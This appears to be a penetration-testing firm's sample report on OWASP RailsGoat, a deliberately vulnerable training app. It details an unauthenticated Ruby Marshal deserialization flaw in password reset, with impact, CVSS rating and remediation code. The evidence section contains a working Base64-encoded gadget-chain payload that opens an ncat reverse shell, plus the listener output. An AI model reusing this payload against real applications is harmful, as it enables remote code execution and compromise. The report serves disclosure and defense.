Executive summary
One page for management with the overall posture and what to fix before release.
Sample report
A report excerpt based on an assessment of OWASP RailsGoat, an intentionally vulnerable application. It shows the structure, the severity scale and one Remote Code Execution finding in full: the same format you receive after a real engagement, without using client data.
What’s inside
Each finding gives your engineers the steps to reproduce it and the change that fixes it.
One page for management with the overall posture and what to fix before release.
The affected component, what an attacker needs, numbered reproduction steps and excerpts from the requests and responses.
Which data or actions are exposed and to which roles, with a severity based on what was actually observed.
How to fix the issue and where else the same pattern may appear. Once the fix ships, the retest result is added.
Demonstration environment
RailsGoat is an intentionally vulnerable open-source application created by OWASP for training. The finding below is based on its publicly documented Remote Code Execution vulnerability; no real client or production system is shown.
Executive summary
The report opens with a page for decision-makers, with the overall posture and the main risks before any technical detail.
Sample page
This label is the report-level assessment of the environment, considering the severity, exploitability and impact of the observed risks.
The overall security posture of RailsGoat is Critical exposure. The assessment identified a weakness in password recovery that may enable remote code execution and a full compromise of the service, data and secrets accessible to the application. This issue should be resolved before any production release.
Other vulnerable areas increase the risk of account compromise and the impact of operational access. The first priority is password recovery, followed by a retest to confirm the fix.
| 01 | Keep RailsGoat isolated. Rotate any credentials the application could reach. |
|---|---|
| 02 | Replace the reset flow. Use a server-generated token the user cannot manipulate, and verify it before release. |
| 03 | Book a retest. Have the fix verified by an independent tester. |
Excerpt scope: the password-recovery function in OWASP RailsGoat.
At a glance
Theoretical overview of the 13 RailsGoat vulnerabilities, grouped by technical category and estimated severity.
Sample page
The technical inventory contains 13 vulnerabilities, with a theoretical severity estimate:
One finding, in full
The complete RailsGoat finding, from the cause and evidence through to the fix.
Sample page
| Remediation effort | Medium |
|---|---|
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 · Deserialization of Untrusted Data |
| OWASP | A08:2021 – Software and Data Integrity Failures |
| Affected components |
The password-reset flow accepts a client-supplied user parameter, decodes it from Base64 and passes it directly to Marshal.load. Because Ruby Marshal can reconstruct arbitrary object graphs, a remote attacker can submit a crafted object and execute commands with the privileges of the Rails process.
Network-reachable endpoint; no authentication required. The attacker only needs a valid reset-flow request and can replace the serialized field before submission.
Attack path validated in the isolated RailsGoat environment:
Affected code app/controllers/password_resets_controller.rb:6; app/views/password_resets/reset_password.html.erb:12
Marshal.dump, Base64-encodes it and places it in the hidden user field, sending an object trusted by the server to the browser.POST /password_resets request allows the user field to be replaced with attacker-controlled Marshal data.Marshal.load(Base64.decode64(params[:user])) without integrity validation or restrictions on deserializable types.ERB and ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy executed a non-destructive proof command on the server, confirming control of the application process.POST /password_resets HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
Content-Length: 351
user=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIi9gbmNhdCAxMjcuMC4wLjEgMTIzNCAtdiAtZSAvYmluL2Jhc2ggMj4mMWAGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==&password=x&confirm_password=xHTTP/1.1 302 Found
Location: /login
$ ncat -lvp 1234 -k
Connection from 127.0.0.1.
whoami
perspicanRG-WEB-01 Technical assessment
An unauthenticated attacker can execute commands in the context of the Rails application. This may allow them to read or alter application data and secrets, tamper with the service, reach resources available to the process and interrupt the application. Impact beyond the container or host depends on the deployment privileges and network segmentation.
Compromise of the application process can interrupt service, expose user data and require credential rotation, forensic investigation and stakeholder communications. For an exposed asset, the operational risk is incompatible with release.
The issue is remotely reachable, requires no authentication or victim interaction and has low operational complexity once the payload is constructed. Code execution fully compromises confidentiality, integrity and availability in the Rails process context. The assessment considers application-process privileges and does not assume additional host privileges.
Remove deserialization from the reset flow and replace it with a server-generated opaque token. The controller should create a random token, store only its digest with the user and expiry, and send the browser only the opaque value. On confirmation, look up the token server-side, enforce expiry and integrity, consume it atomically, and reject missing or reused values. Update the form so it no longer serializes the user object. Add regression tests for arbitrary Marshal payloads, expired tokens, token reuse and token/user mismatches.
# app/controllers/password_resets_controller.rb:6
# remove: user = Marshal.load(Base64.decode64(params[:user]))
token = SecureRandom.urlsafe_base64(32)
PasswordResetToken.issue!(user: user, token_digest: Digest::SHA256.hexdigest(token), expires_at: 15.minutes.from_now)
redirect_to reset_password_path(token: token)
# app/views/password_resets/reset_password.html.erb:12
# submit only the opaque token; never Marshal.dump the user object
# confirmation endpoint
reset = PasswordResetToken.consume!(params[:token])
return head :unprocessable_entity unless reset
# set the new password only after consume! succeedsNot tested
The vulnerability was reproduced in the RailsGoat assessment environment. Retest has not been performed.
Tell me which assets and environments to include, and when you need the results.
Prefer to write directly? [email protected]